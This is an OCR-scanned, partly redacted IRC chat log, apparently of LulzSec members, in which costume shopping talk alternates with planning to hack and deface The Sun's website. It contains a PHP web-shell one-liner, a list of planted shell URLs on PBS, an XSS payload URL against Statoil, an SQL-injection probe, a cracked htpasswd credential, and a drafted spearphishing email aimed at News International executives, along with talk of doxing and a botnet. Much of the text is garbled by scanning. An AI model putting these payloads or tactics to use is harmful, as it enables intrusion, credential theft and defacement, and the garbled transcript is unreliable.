LH_Def aul tDomai n_0&var=&hash=item6blba87e99 < — okay that one 




THE OUTFIT 
I need a LR 



-> PR converter ASAP 



12: 


:06 


< 


12: 


:06 


< 


12: 


:06 


< 


12: 


:06 


< 


12: 


:07 


< 


12: 


:07 


< 


12: 


:07 


< 


12: 


:07 


< 


12: 


:07 


< 


12: 


:08 


< 


12: 


:08 


< 


12: 


:08 


< 


12: 


:08 


< 


12: 


:08 


< 


12: 


:08 


< 


12: 


:09 


< 



http://cgi .e 
pt=LH_Defaul 
12:09 < 
Cosplay 
mask) 




12:09 
12:09 



< 
< 

12:09 < 
12:09 < 
12:09 < 
12:09 < 
12:10 < 
http://cgi 
othi ng&hash 
12:12 < 




12:13 < _ 
http://cgi .e 
488067?pt=US 
12:13 < 
12:13 < 



ay . com/TALL-Stove-PlPE-Abraham-Li ncol n-Costume-Top-Hat-Bl ack-/280641 
Def aul tDomai n_0&hash=i tem415789b500 
go to 1 r . com 
they ahve a list 
well libertyreserve.com 
they has list 

I know, jsut cant remember my LR password 
its LONG 
like 

longer than long cat 

and I has 600$ in thar 

right, cocks, im gonna lock and load m prepaid card ASAP 
get me a overcoat 
top hat 
monacle 
pipe baccy 

and troll like a baws at an anime con 

ayTcom/Old- boy- tobacco- smoki ng-pi pe-Mr-Brogs-studio-2-/260814304815? 
tDomai n_0&hash=i tem3cb9be762f 

cos I got a alomst full v for vendetta gear for trolling at 

pretty lulzy last time, I proved that one can drink through an Anon 

SERIOUSLY 

get multiple outfits 
and im & your anime con 
smoki n' my pipe 

Smoki n pipes, gettin muchacho drunk, and etc 
111 see how many I can get 

ay . com/vi ntage-McMul 1 en-Overcoat-/190553242845?pt=vi ntage_women_s_Cl 
i tem2c5ddbbcdd < — ugly colour tho 
haha 

Right, what am I missing.... ah yes 
a fuck ton of knives 

LOL 

and a walking cane! 
fuck that 

a SWORD CANE 
wai tone 
my ex haz one 
'•thinks* 

ay . com/Mens-wool -Bl end-Topcoat-Overcoat-Charcoal -Ful 1 -Length-/260694 
_csA_MC_Outerwear&var=&hash=item8263a0f 51c 
but not relaly vintage 
and a bit moar expensive 
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#! sunnydays .log 
Accepts the challenge 

they vintage ones with the vintage collar 
are hard to get 



12:14 
12:14 < 
12:14 < 

12 : 14 < 

http://cgi .ebay.com/MENS-AIR-FORCE-TRENCH-COAT-ALL-WEATHER-42-LONG-/260817209006? 
pt=LH_D efau1tDoma i n_0&hash=i tein3cb9eac6ae#ht_3435wt_1139 
12:14 < ^^H^^H Old air force one 
12:14 < ^^^^^B and holyshit 

12:14 < ^^^^^H theres 9001 Spaniards after entering the room 

http://c^^^Da^Tom/London-Fog-Overcoat-Trench-Coat-Mens-40-Long-Ol ive-/ 
788?pt=US_csA_MC_Outerwear&hash=item35b37aOfcc <- 
that one 
i s awesome 

only one available tho D: 

BUT ITS AWESOME 
oh i found one for you 




http://cgi .ebay.com/Sl eek-Grey-MidLength-Overcoat-Trench-Coat-Jacket-Sz-10-/38031 
8912001?pt=AU_womens_Cl othi ng_2&hash=i tem588cc60e01 

http://cgT7enayTcom/London-Fog-3-4-Length-Overcoat-/130545536419?pt=US_CSA_MC_Out 
erwear&hash=i temle651ecda3 

< ^^^^m ^^^H -- 

12:15 < B^^B 

http://cgi .ebay.com/us-Army-Overcoat-wwil-1942-Pattern-/250852051364?pt=LH_Defaul 
tDomai n_0&hash=i tem3a67f 289a4 
12 : 16 < Hli^H 

http://cgi .ebay.com/WWII-US-Army-WOOL-OVERCOAT-INSIGNIA-PATCH-36L-/310330855410?p 

t=LH_De f au1 tPomai n_0&hash=i tem4841290f f 2 < with insignia 

12:16 < ^^^^^H now thatd be trolling 
12:16 < ^^^H j35t3r fags 

< B^^l 

http : //c^^TDa^Tom/Ron-Chereski n-Mens-40-Shrt-Trench-Overcoat-Zi p-Out-Lnng-/1606 
16987301?pt=us_CSA_MC_Outerwear&hash=item256584baa5 
_ so enough overcoats i think 

THE JESTER THE JESTER 
PROTESTOR AN MOLESTOR 
i want such a t-shirt 
and* 
oh 

ebay doesnt sell 
swords 
_ do they? 

they dont even bother to kickban us anymore 
lol 

http : //www. swordsdi rect . com/sword_canes . html 
Dtw just oart #asylum, it's useless 
TOO MANY CHANNELS FFS 
Sword Cane 
me Fucking want 

http : //www. pcmag . com/sl i deshow/story/266414/who-i s-1 ul zsec/4 
funy photo lol 
Say 

why are we 
on one page 

tes 

http : //www . pcmag . com/sl i deshow/story/266414/who-i s-1 ul zsec/4 
click next page 
al so 

WHY IS ^^^^g ON THAR 

LOL 

Identified by ^^^^H in chat logs as one of six core 




< 

12:24 < 

12:24 < _ 

members ot LulzSec, but not a founder. Not much is known about 

that he joined LulzSec after its launch at about the same time as AvunT 
accordingto^^^^^l Limited participation in the leaked chat logs. 
12 : 24 < ^^^^^MY INFODOX ARE PUBLIC YOU FAGGOTS 
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12:24 
12:24 




12:25 
12:25 
12:25 
12:25 








http : / /wm . mys 



12:34 
12:34 
12:34 
12:34 
12:34 
12:34 
12:34 
12:35 



12:36 
12:36 
12:36 






# lsunnydays.log 

Lol 

all they need to do 
is 1rn2read 
or rather 
think 

iiol tho 

No more infodox for them 

^^^^^1 Reportedly second-in-command within LulzSec, 
Lets 

ki11 B 
:D 

LOL 

111 visit his house 
but ^I^^B 

and ^Hseveral caps in his ass 
lol 

OUTFIT 

imma grow a mustache ;.; 

Yes ! 

I am trying to grow one 

monocle, wwil overcoat, sword cane, wooden vintage pipe and 

what could possibly go wrong 
dont forget a package of matches 

Fuck Yes 

http : //www . pi petobacco . com/page/pi pet/PROD/macb/MBBGE 
and that 

well my dear chap 

grabs some tobacco, puts it in his pipe, lights the pipe and 

I say, we should very much take action indeed, 
imagine that on a con xD 
Oh dear! 

someone walks up to you 
sayi ng 

"Hi, how are you, what are you dressed as exactly?" 
"well my dear fellow," 

'•grab pipe, put tobacco in light and puff* 
"I am a sailor indeed." 

WUT 
XD 

and not from Sailor Moon either 
brb 

need to smoke... Got my pipe packed 
though its only a quick one 
cos of all the ppl here 
oh shi- 

I just cleared my screen 
actually use 

i ngshop . co . uk/i ndex2 . php?mod=mancats&man=317&sec=1134 
:0 

IN A POUCH BIATCH 

oh yeah 
:D 
lol 

what you smoke 
Amber Leaf mostly" 
now I jsut learned 
AMber leaf in a pipe 
sucks hard 

LOL 

my throat haz been raeped 
so at a con 

youd ahve to ask for whisky in a whisky glass 
proper whisky of course 
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#! sunnydays .log 
while everyone orders coke and beer. 
Oh yes 

Bushmills man 
or Jameson 
In fact 

Dont fucking tempt me 
highland Scottish :D 

I am exactly 10 feet from the bar here-! 
http : //www . scotl and . gov . uk/Resou rce/lmg/92 5/0061840 . j pg 
imagine that at a con 
TO whiskey, or not to whiskey? 
with tophat overcoat and monocle 
http://www.oldpulteney.com/ < — 
get me a bottle pwn 
just 
thought 
which was bad 
i shouldnt think :/( 

thinking is over rated 
'i am too whitehat" .. i thought about tihs a long long while.. 

and I want a bottle of that 
now i think i know 

http://www.glengoyne.com/ < — thats a good one too 
l^^^l my thoughts are more like 
^ml too blackhat?" 

1 am NOT a blackhat. i am NOT a whitehat. i am NOT a greyhat. and 

a LULZhat 

i wear the fucking hat that is appropriate 
Top hat is good 
rai nbowhat? 

brb getting a cup of tea chaps 
"luctuatig colors 
1 think 
Top hat 
STOVE top hat 
for me. 
brb 

Srsly guize 

the bar is 10 feeet away 
_ to start now 

top hat that would trigger epelepsy 
or later?! !?!?!? 
and YES 
Nyan Hat! 
_ FUCK yes! 
Hah, yeah 
Live cat as hat 
i want that. 

_ My cat likes to sit on my head sometimes :D 
ugh anonops died again 
when I move out properly 
im getting two cats 
_ Lol and Nyan 

they give you two cats if you move out? 

No im gonna get two from the animal shelter :) 
I volunteer there sometimes minding kittehs 
awww 
i <3 <ou 
why 
btw 

do we all love kittens? 
Cos kittens 
are fucking awesome 
we know that 

_ and they = kawaii (lol) 
but y do we share that? 
lol 

kawai i i i i i i i 

Page 57 






60866 



12:49 
12:49 




fucking CAT 
12:50 < 
12:50 < 
12:51 < 
12:51 < 
12:51 < 
12:51 < 
12:52 < 
12:52 < 
12:52 < 
12:52 < 
12:52 < 



12:52 
12:52 
12:52 
12:52 
12:52 
12:53 
12:53 
12:53 
12:53 
12:53 






12: 




12:59 
12:59 

http://shop 
of http://s 




#! sunnydays .log 

glitterkitty ftw 
:D 

Hmmmm. i think the fact we are educated enough 

to realize 

has joined #!sunnydays 

cats pwn rucking everything 
srsly 

sup 
! topi c 

netcat is called netcat cos its internet and works like a 

haha 

how does it work like a cat? 
did we root the sun box yet? 

- cos its a sneaky and lethal fucker 
ana no root yet 

tried the last exploit i posted yesterday? 
well we need a spare box to compile 
or something 
I no haz spare box 

I asked a friend from the hackerspace 

ah okay 

BACK 

yeah same i did 
welcome back 

he told me to find a nice hobby 

like "fishing with a F" 

Any good news? :D 
yes, i got my first follower on twitter :D 
~ ^ twitter 

you will ge^^^^ow spammed 

haha probably 
Ok: any good news regarding murdoch? 
no :< 
btw 

wtf is up with paypal 
heh 

ATM paypal is a target 

ir CSO is so mad, he hates even more than jester _D 

*:d 

:D 

now he wont get his free pen test 
instead he will get a free stress testing 

course there is good news 
im in here. 

oh lawdy 
these ppl here 
are so loud 
theres so many 
. . . Rickroll time? 

So that exploit didn't work? C®sun) 
Td not try the other one 




g lengoyne . com/gl engoyne-ten-year-ol d-hi ghl and-si ngl e-mal t-whi sky + 2 
hop.glengoyne.com/glengoyne-blenders-glass too pwn 

since the last killed it 
and i wont use the old one again 

i c 

got the whole order? :P 
^^^^P - of course :D 

^^omy the lOyo, just to save a tad of money :P 
once statute of limitations runs out, we need to throw a party 

tbh assembling one of those outfits 
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13:01 
13:01 
13:01 
13:01 
13:01 
13:01 < 
13:01 < 
13:01 < 
13:02 
other sh' 
13:03 < 
13:03 
13:03 < 
13:03 
13:03 
13:04 
13:04 
up in li 
13:04 < 
13:04 < 
13:04 < 
13:04 < 
13:05 < 
13:05 < 
13:05 < 
13:05 < 
13:05 < 
13:05 
13:05 
13:05 
13:05 
13:05 
13:05 
13:05 
13:05 
13:05 
13:06 < 
sun site 
13:06 
13:06 
13:06 
13:06 
13:06 
humanity 
to presc 
13:06 <' 
13:06 < 
13:06 < 
13:06 < 
13:06 < 
13:06 < 
13:06 < 
13:06 
13:06 < 
13:06 < 
13:06 
13:07 
13:07 
13:07 
13:07 < 
13:07 
13:07 
13:07 
13:07 
13:07 
13:07 
13:07 
13:07 




It : P 




< 
< 
< 
< 
< 
< 
< 
< 
< 



#! sunnydays .log 
isl ike 150 dorrars already 

XD 

hmmmmmm 

does that matter? 
lol 

well i dont have 150 dorrars in stock :P 

hmmmmmm 
Card them :D 

every money i have generally goes to paying rent and all the 

aaaah 
bow about 

someone ellses money 
:D 

sure thing mang, gotta rob someone :P 
is there a statues of limitation for this? 

I was just thinking that, we should all agree a place to meet 

years 

St when any police would still have interest 
most likely there is 

re 1 s 
10 years or so 
but 15 to be safe 

we can have the LulzSec party at Defcon 
according to wikipedia there are like 
4 exceptions 
and give talks and shit 
Fraud upon the court 
international crimes 
Heinous crimes in the U.S. 
Continuing violations doctrine 
are things handeled international? 
other shit always has a statute of limitations 

international crimes they mean 
genocide 

international crimes? was just testing if we can redirect the 

to a deface page with our access at the moment. I think we can! 
crimes against humanity 
n stuff 

im not a citizen of the usa, so what should boh do? 
ah ok 

By way of custom of international law, genocide, crimes against 

war crimes are usually not subject to statute of limitations, nor 
ription. 

15 years, but not on US and Ass soil :p 

"bah 

are we comitting war crimes? 
king is neither of them 

idk 

chaos communication camp in 16 years :D 
well we are starting a war 
does that count? 

H^^^^l - can we redirect other Domains? 
ccc u^^year :D 

we need to pick a date and location 

- I was gonna go CCC this year 
no moeny 

:C 

My house in what? 12-15 years? :P 

:D 

pre Drinks at ^^^^^^^ gaf 

then a flight to Vegas 
hit up Defcon 
1 i was at the congress 
not the camp, last year 
aaah, i was gonna goto the camp 
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#! sunnydays .log 
no moneys for camp : ( 

A 

same 

we can't redirect other domains without root 

AFAIK 
Aaaah 

so if root=true 
we can raep everyone 

el se 

the apache config files are owned by root 

just the Sun 

im watiting for the SPARC Dude 
i think so 



]ust about to ask lol 
cool 

"airvpn.org, ovpn.to, privateinternetaccess.com, 
ise.com, "mullvad.net <-- anyone around now with experience with one of 




login© idle 
1:08pm 57 



JCPU 



PCPU 



what 
bash 







user tty 
root pts/3 
we should wait 
high admin activity 

admin logged in? 

ohai :D 
sup 

ist it hilarious? 
they just rebooted all our cuk 
yeah 

well done 

will somebody put in a <?php system($_GET['c']) ; ?> in some 
touch it back to like 2008 
i read the tweet aa 

so even if they find the shells 
we can get back in 

i said it was .gov tho ;D 
good Idea 

we still canhaz backdoor 
ya very funny! 
i was wondering 
but it could only be this 
had to ... hide :) 

ecause they could just grep the shells 

tought so 

and nobody load the backdoor so nobody can find it in the logs 

did anyone look at the DES hashes? 
was talking in #jester the last 2h 
wei rd ppl 
:p 

as usual 

but i think they might think i am sabu 
so confusion = perfect 
wtf 

dont ask 
:) 

concentrate on important shit lol 

A 

i often think about flaming jester on twitter 

but hes not worth it at all 

His last blogpost was tl;dr 
i ndeed 

I want his IP 

and a big botnet 

"HOW YOU LIKE ME NOW FAGGOT" 

i wouldnt care less about j35t3r 

[^^^^^^^^^^^^^^^^^^^^H joined #! sunnydays 



EH 

in fa 



-act , , , anyone ^^^^^^t~TRC~cl i ent he uses 
and if theres an exploit for it/? 
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13:18 
13:18 
13:18 
13:18 
13:19 
13:19 




\oo/ 



#! sunnydays .log 



13:23 

Apples are" 
13:25 < 
13:25 < 
story 
13:26 
13:27 
13:28 

type="text 
http://ext 
13:28 < 
then chang 
13:29 < 
13:29 < 
13:29 
13:29 
13:29 
13:29 
13:29 
13:29 < 
13:29 H 
#! sunnyoay 
13:30 < 
13:30 < 
13:30 < 
a pastebin 
13:30 < 
13:30 < 



wt f is up with this paypal cso 

^^g^^ i am in #jester as a possible sabu 
tneyare all clueless 
i SHOULD NOT DO this 
i know. 

he has a stick up his arse since the Anon DDoS 
but he knows at least-, 
as far as I know Jester uses xchat 
for ubuntu 
hmmmmmm. I be he IRC as rewt 
111 fuzz it tonight 
find some rets 

Id b e awsome to dox jester 
wanna join? 
misses you :D 

lulzier to have root on his box 

and send everyone his photo and infodox 
nah I like to keep them thinking 
hehe 1 
do we have ? 

I keep thinking 
so where are we know, reverse shell still okay? 
wait til root logs out 
wai t . . . 

^_ there was another sploit? 
can we read 
nope 



1 got a sploit 

but need someone with Solaris SPARK box to compile it 
y they no run x86 like normal motherfuckers 
brb 

y they no write stories like real journalists? 
err 

what was this ire addressa gain? 
oh wait i has its omewhere 
brb 

[^^^^^dc9e1e08.870C7be1.49e80f3.ip] has quit [User quit: 

oranges . ] 

Ok I have tested the i frame cross domain redirect 
we should be able to redirect the sun's homepage to a fake 

m ce 




I have a fake story ready but without formatting 
we jsut put <script 

/javascript">parent. location. href= "fake STORY URL" ;</script> in 
ras . thesun . co . uk/sol /breaki ngnewspage . html 

^^H^l If you just copy a page from one of the sun's inner pages and 

e the text and images 

how we going to link in the comic 
Tt's not as funny doing the fake story outside of the website 
maybe we can hold the story in reserve 
^^^^^H - comic gets tweeted 
oooT 

you wait with that until we tested the last exploit i guess? 
maybe we can just redirect sun.co.uk to the comic 

WHAT THE FUCKING FUCK 

4b27001e.b8C70a02. 3978755b. IP] has joined 

and i kept trying to join #!sunnyday 
fu. 

"to be honest I think it would be funny to redirect sun.co.uk to 

to see how many views it gets 

i need to get away from sabu's box 
if you fo a screen -r 
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-r NAMEHEREBIATCH? 

kinds of stuff 



#! sunnydays .log 

you get like 
why? 

60 screens 
ool 
of screens 
_ use screen 
with ... all 
i m scared :) 
i found mine tho 
ow the fuck does he manage this 
give yoru screen a name 
smartone ;P 

screen -r sabu_homemade_selfshot 

WTF 

nope didn't 

WTF 

thats what saved me 
OH GOD 




cause 
LOL 

Sabu 



1 s 




co.u 




to 




a GIRL! 

i always give my screens strange names 

my screen was the ONLY one without a name lol 

XD 

liek 2850285902 screens in 
I give screens odd names sometimes 
ok guys 

current state of affairs 

so I'm about 90% sure we can deface the sun anyways 
win 6776 
Sabu is an alien #conspi racy 

get root and we can definatly deface newsoftheworld.co.uk and 

no joke 

i understand now 
sabu = metal gear 
: P 

then after that depending on what we can find as root we might 

get the times/ Sunday times 

well lets wait for the spare then 
also anonops cant ban me nao 

so we will try do this last root exploit approx after 7pm UK 

at doesn't work we can deface the sun 

MWHAHA 

with the news story and tweet the comic 

i missed you really 

n watch shit hit many fans :D 
good to see you again :) 
:D 

why thank you but i havent really been away, i might be an 
ut i run twitter too :P 
works on the story html 

yar but it took you a while to read and obey my DMs 

P 

nah i read it 

but you didnt follow me anymoar 
so i coudltnr eply 

MAKE PASTEBIN GIVE ME CROWN TOO 

Just for vanity, 
ut maybe i need an epic paste before, 
nah 

just gief the crown, 
and do vanity whoring 

ok now I need to get back to work, my boss won't be happy! 
a statement too? 

- aye, a statement is fine too :) 
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http://dl 
13:36 < 
13:37 
13:37 
13:37 
13:38 
13:38 





that thing wou1 



# lsunnydays.log 
. packetstormsecuri ty . net/1107-expl on ts/thc-vodaf one . pdf 

We need something good, thats quoatable by the media 
Tears of the sun" :p 
Like in that movie... 

do you want me to write a pastebin for that? 

tmsg me on anonops when regged 
I think'it would be classy to have thesun redirect to our press 

ill add you 
kk 

haha, yeah., lets see if we can play it somehow 

cause actually.... i dont care, it's just cool 
to be honest I'm curious about how many fuckin' views that thing 

and its win/win for pastebin and us 
before we even tweet it 
how many it gets in like 10 seconds 
because sun is pretty big 

i created an acc and had no pasted 

^^^^g to be honest I'm curious about how many fuckin' views 
get 

and had like 2500 views in 30 minutes 

Athi s 

H^^g - ADD THE FUCKING BITCOIN HASH 

hell yeah 
wi 1 1 get 
9001 donations 

if we can redirect every sun page to one pastebin, it will break 

records for sure 
yespls 
"maybe 1,000,000 views+ 





and 



need money for outfits, aint that right? 



and me 
lol 

changed the topic of #!sunnydays to 

ROOT ON MURDOCH'S SUN 

plz fix topic asap ;) 
were there any donations on the booz alien thing? 
oh yeah pwn 

and a bottle of whisky :P 
unfortuantly we can't redirect all the pages 
only the homepage 
'wel 1 



WE HAVE JOY WE HAVE FUN WE 




AFAIK 

also 

people 

"Click 



regged. 
"to clock the home page 





k sec 
we redi r that 
PROOFIT 

I'm up for whatever will be the biggest pain for Murdoch 
hes been in the headlines for 3 days now 
^g^g^ - redi r homepage, put in 9001 backdoors 
^^^]^ui him there 

I'm happy with putting my fake story on the pastebin 
_ sounds good 

and just having everything redirect to it 
because the views would be astronomical 
al so 
:D 

chocolate CEO 

WUT? 

well it won't be very believable on pastebin lol 

IDEA 

Have it goto fake story 

THEN 

it won't be believable on any page really 
lol 
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13:42 < 
13:42 < 

13:42 < 

access list at 
13:42 < 
13:42 < 
13:42 < _ 
fBuccaneers ac 
13:42 



# lsunnydays.log 

I know 

unless we specifically rape a real sun article 



added to #antisec 





on to pastebi n 
13:42 < 




together like 
13:44 < 





13:44 < 
story inter 
13:44 < 
13:44 < 
13:44 < 

13:45 < . 

vi ews/automati 
13:45 < 
13:45 < 
13:45 < 
13:45 < 
behind t 
13:45 < 
13:45 < 
13:45 < 




ie see 




09:45 -Chanserv( 
level 10. 

goto fake story, then a timed redirect 
09:46 <^^^^| access #buccaneers add ^^^^^B 3 
09:46 -CnanServ (g^^^^^^^^^^^^B added to 

cess list at 1 evel^^^^^^^^^^^^^^^^ 

can you set timed redirects? 

say 

1 minute timer 

then redi r to pastebin 

id you use another nick before ^^^^^H 

how about we forward It to a^ur^ooki ng article then forward 

Thats it 
Yes 

yep you can do that 
thats what I meant :D 
you know me pretty well :p 
meta redi rect 
m : p 

or javascript 
with a 1 minute timer thingy :D 
awh fuck : C f u 

I think just the pastebin redirect, as this will have to make 

maybe we can have fun and games after 
like when they realize the rape 
we start redirecting to batshit things 

but for the first hour maybe pastebin 
0 i know you, ^_ 
Like Nyan Cat 
so everyone understands 

If you send me the text of the story I can try put it 

a real sun page? 
exactly 

OH YES 
FUN FUN FUN 

Ok 

most weekend, too 

D 

:D 

that the plan so 

So we do a PBS on it 

i dont keep track of who knows me, but ive been around 

every time they realize 
we rape more 

rect to ^^^^^^1 track on yt 

direct to pastebin then we change it to a fake article? 
if we can root the times then we can do the fake 

y :D 

"i dont keep track of who knows me" 
lold 

see, these news sites have systems in place to clock up 

c emails/notifications when a story is posted 
well its true d: 
you didnt meet., but i can vouch for both 

D 

if we actually post one to the site (times) it gets insane views 

nes 

if we root we might be able to SSH into the times 

thats what i wanted to know :d 
since people keep changin nicks on here 
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13:45 < 
13:45 < 
13:45 < 
with all 
13:45 < 
13:45 < 
13:45 < 
q's :) 
13:46 < 
13:46 < 
13:46 < 
13:46 
13:46 
13:46 
article 
13:46 < 
soon 
13:47 < 
13:47 < 
nicks in 
13:47 
possible 
13:47 < 
13:47 < 
13:47 < 
13:47 
13:47 
13:47 
13:47 
13:47 
13:47 
13:48 
13:48 
13:48 < 
13:48 < 
13:48 < . 
redi rect 
13:48 < 
13:48 < 
13:48 
13:48 
13:49 
too. 
13:49 
mocki ng 
13:49 < 
13:49 
13:49 
13:49 
13:49 < 
13:50 < 
13:50 
13:50 
13:50 
13:51 
sysadmins 
executive 
13:51 
13:51 
13:51 < 
13:51 < 
13:51 
13:51 
13:51 
blog 
13:51 
13:51 
13:51 






#!sunnydays.log 
I'm not sure tbh, maybe 50/50 
I think we should hold the story in reserve until we can do that 
Well ever yone here can vouch for me i think XD been involved 
except for ^BH 

Anyon e wari^ to try figure out their apache configs? 
anyway Hl^g I am Avunit. Or used to be. 

you Know where you are by now i guess... so dont ask funny 

That might help. 
Ya first priority is rooting 

basically 

usually i dont ask any questions :D just wanted to know 
this is the lulzboat and some .. even older freaks 

if that doesn't work then we can put up the pastebin / fake 

i think we will rip the fucking shit out of the corp bastards 

lulzsec/hbgary whatever thats all ki nda pu blic now :P 
they dont even get it right! ^v^" disclosed all 

#reporter 

^^^^^g I just want to see newscorp and murdoch suffer as much as 

from this 

NOBODY noticed 
lol 
Lol . 

I love reading all the speculation 
about the nicks 
and whos in and who has left 
and who does what 
_ and whos the leader 
SABU aka HUGO 
is our leader 
we should play along 
lol 

so root first, if no luck then we deface with pastebin 

tonight, agreed? 

it works beautifully 

lol 

yes 

yes 

ng it on a week day will get more converage than a weekend 

_____ from past experience, maximum rape to Murdoch will come from us 
nm in a pastebin and then on twitter 
oh yes 
ok 

agreed so! 

thi s old bastard does not even care anymore i guess 

if we do that, then Rupert Murdoch found dead could come after 
as another kick in the nuts 

Some catchy quote that will get picked up by media, aa 
maybe people will think he suicided because of us 

haha, that would be epic! Sounds good, I wonder how quick the 
e to fix. damn I would love to spearphish some Newslnt/NewsCorp 

and leak their emails 
they fixed the PBS one within about 45 minutes 

they removed the ability to put posts up 
If we get root, I'll try it 
ut the story was still on the newshour front page 
just the URL didn't go anywhere 

so people were seeing it all night until they removed the entire 

then we started making new blogs like pbs.org/niggers 
_ lol 

and pbs.org/blog/your-mother 
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13:52 
13:52 




#! sunnydays .log 



and 

whi sky. 



13:53 
13:53 



13: 




php shells 



new comic 



my favourite was pbs.org/shadow-DXS 
"LOL I eat childrens" 
Lol 

the news report: 
"si denote: XSS on oil site 

http://www.statoil .com/en/Search/Pages/default.aspx?k=<IMG 

"><SC RIPT>a1ert C"C0CKHEAD shitbasket")<%2fscript>"> &key=l&s= 
13:53 < ^^^^^H "Hacker Shadow-DXS now also hacked PBS." 
13:53 < ^^^^^H succesful diversion was successful 
< ^^^F 

http ://www. statoi 1 . com/en/Search/Pages/def aul t . aspx?k=%3ClMG%20%22%22%22%3E%3CSCR 
I PT%3 Eal e r t%2 8%2 2C0CKH EAD%2 OSH ITBASKET%2 2%2 9%3C%2 FSCRI PT%3 E%2 2%3 E%2 0&key=l&S= 
etc 

New Topic Coming 

'■soorry 
new comic 

^ffl they actually wipe 
the pbs server? 

or are those 

still alive? XD 
i never checked them again 
http : // i mageshack . us/f /7/1 otwl . png/ 
111 be back inabit 
buying a netbook 
kk 

pretty sure we still have shells 
can't remember the names 
errr nor can I 

i mustve written it down somewehre 
lol 

LOL amazing comic 

[^^BFF915728.AB4DE763.842418lD.lP] has quit [Ping timeout] 
oh wait 

i think i know 
where that file 

I can't wait to tweet those comics 
with the shells is 
but i dont know where the usb is 
which hosts them 
aha, like that comic 
lolAA 

i dont need a metaldetector i need an usb detector 

of my usb tokens are small enough to eat them =) 

14:06 < ^^^^^H ive got absolutely no idea 

14:06 < . - - . . 

14:06 < 
14:06 < 
14:07 < 
14:07 < 
14:07 < 
14:07 < 
14:07 < 
14:07 < 
14:07 < 
14:08 < 
14:08 < 
14:08 < 

http : //www. thesun . co . uk/sol /homepage/news/3694035/-Bi ggest-1 ottery- jackpot-sti 1 1 ■ 





where i left this stick 

clever idea 

1 prefer encrypting themAA 
dont think they are tasty 

imma store everything on a 16GB truecrypted microsd 
Sure I do encrypt them, 
know :D jk 

ETA for the root exploit? 
mine is encrypted too >.> 

nice work BTW 
but i mustve hidden it somewhere 
<somewhere> 



not-cl aimed . html 
14:08 < 
14:08 < 
14:08 < 
14:09 < 




we should troll the Sun 
call them up and say LulzSec won 
fake bank account screenshots 
lol 
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14:09 
14:09 
14:10 
14:11 
14:11 




14:16 < 

right passwo 
14:16 < 
14:17 < 
14:18 < 
14:18 < 
14:18 < 
14:18 

14 : 18 

#Buccaneers 
14:19 < 





# lsunnydays.log 
that would be epic! 
or a fake photo of the winning ticket 

I FOUND IT 

now lets check if the shells are still up 

XD 
oh lord 
f i rst 6 are removed 
hrrm this one is a blank page now 
y probably disabled the functions anyway? 
goddamnit 
theyre all gone 

http : //admi n . onl i ne . pbs . org/ki dsconf e rences/i ndex2 . php 
http : //www. pbs . org/wnet/rel i gi onandethi cs/speci al s/trees . php 
http : //www . pbs . org/ombudsman_test_bl ogs/hel p . php 
http : //www . pbs . org/now/enterpri si ngi deas/bl og/docs . php 
http : //www. pbs . org/parents/experts/trees . php 
http : //www. pbs . org/nbr/bl og/i ndex2 . php 
http : //pbski ds .org/ i tsmyl i f e/bl og/docs . php 
http : //www . pbs .org/ opb/ti meteam/bl og/hel p . php 
http: //www. pbs . org/wnet/expose/trees . php 
theres the list for documentation purposes again 
:( 

Just cracked a htpasswd from the sun 
only one out of two 
nipdlogs:techlogs 
don't know where thats from 

found a few places where the password was just wapping 
maybe they are dump enough and one ("decrypted") hash is equal 
password 

admins like to reuse passwords 

i know why. It always takes like 8 attempts for me to guess the 

and the list only gets longer <.< 

ttp : //stati c . f j cdn . com/pi ctu res/The+Truth+0C_2 5e818_2350131 . j pg 
Hi 

Hows you 
fine, sup? 

I thought I might let you gui ze in on some payback/1 ulz 
thecu re . anonops .in: #Buccaneers- User is KNOCKing on 



yaeh 



asks if he can have a quick invite into #buccaneers 



http: //www 
m/ 

14:24 < 
14:24 < 
possession 
14:24 < 
14:25 < 
14:25 < 
14:32 < _ 
currently 
transferred 
14:32 




says we might be able to help with something 
ye lol 

give the man a quick invite. 

2 always get mistaken with another ~.~ 

ups 

> 

im not eveb iun 

well join in quick then to pass him an invite :P 

1 rish leftrevi ew.org/2011/07/12/news-i nternati onal -changi ng-emai 1 -syste 

might be a good cover to spearphish some people 

There could possibly of been a walking into a funeral 
in a mankini, kinda moment 

wtf i s thi s 
lol 

non story 

I mean emailing executives, and saying as you know we are 

n the midst of migrating our email system. Your account has now been 
please login using existing credentials at newint.co.uk/securemail 
essential .co.uk 

they run all the email archiving for news int 
their clients typically have 500GB to ITB of emails 
wonder why they just didnt wipe all the mails fromt he server? 
[^^^^B^^^^^^^^^^H^^^H quit [Connection reset by 
^^^^^^^^^^^^Pageb^^^^ 
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peer] 
14:35 
14:36 
14:36 
14:36 
14:36 
14:36 
14:36 



#! sunnydays .log 




>connect to AnonOps 

>connection dies 



has joined #! sunnydays 



has quit [Ping timeout] 
has joined #! sunnydays 



as seen 
21 

cool film 

http://www.transvault.com/admin/ on server of people who run 



thei r mai 1 system 
14:43 < 



http : //www . t ransvaul t . com/Search/Def aul t . aspx?search=%27%20OR%201=l-- 

not vunerable just error message 
I have never seen 21 :( 

^^^^kon jassiem-B39FE274.com] has quit [Ping timeout] 
no wait yes I have 

got it mixed up, yeah that film was cool 
I just hated the attitudes of all the preppy college shits 

ya 

I know what ya mean 

is now known as 

I didnt rind that girl even that hot 




15:27 <@Sabu> yo yo 
15:28 < 



sup sabu 
15:30 <@Sabu> missed you bitch 
15:30 <@Sabu> how you been? 
15:30 < @sabu> glad you phoned home this time 
15:30 < sup sabu 

15:31 <(aSaDU> my brother 

15:31 <@Sabu> im good how are you? 
15:31 <@Sabu> just woke up 
well 

anonymousirc aka ^^^^ 
didnt follow me 
and last time he sent me a 
the info was shit 

i couldnt msg him back 
Sabu 




dm 



15:31 
15:31 
15:31 



and 
hi 

< . < 



u> supz 



15:31 <@Sabu> you sexy 
15:31 < ^^^^^H^ anyway up an drawling again :P 

15:32 < ^^S^^^B Ha I really hope you don't know what I look like :P 
15:32 < ^^g^^^H you heard about the incident yesterday Sabu? 
15:32 <W^S^KM ^^^'^ tweet lol 
15:38 <(aSaDu^wr^h incident? 
15:38 <©Sabu> you guys killing sun? 
15:38 <©Sabu> LOL 

15:38 <@Sabu> we be professional hackers 
15:46 < ^^B^^M haha 

15:46 < ^^^^^^5 ya killing the server, oops! 

15:46 < p^^l^V BTW Sabu any chance you have a SPARC sun server to compile a 
root exploit on? 
15:49 < A 
15:57 

16:05 ~ 

16:09 <(dSabu> YES 
16:09 <(asabu> let me hop on 
16:10 <©Sabu> =<sabu@shel 1>=[~] $ uname -a 

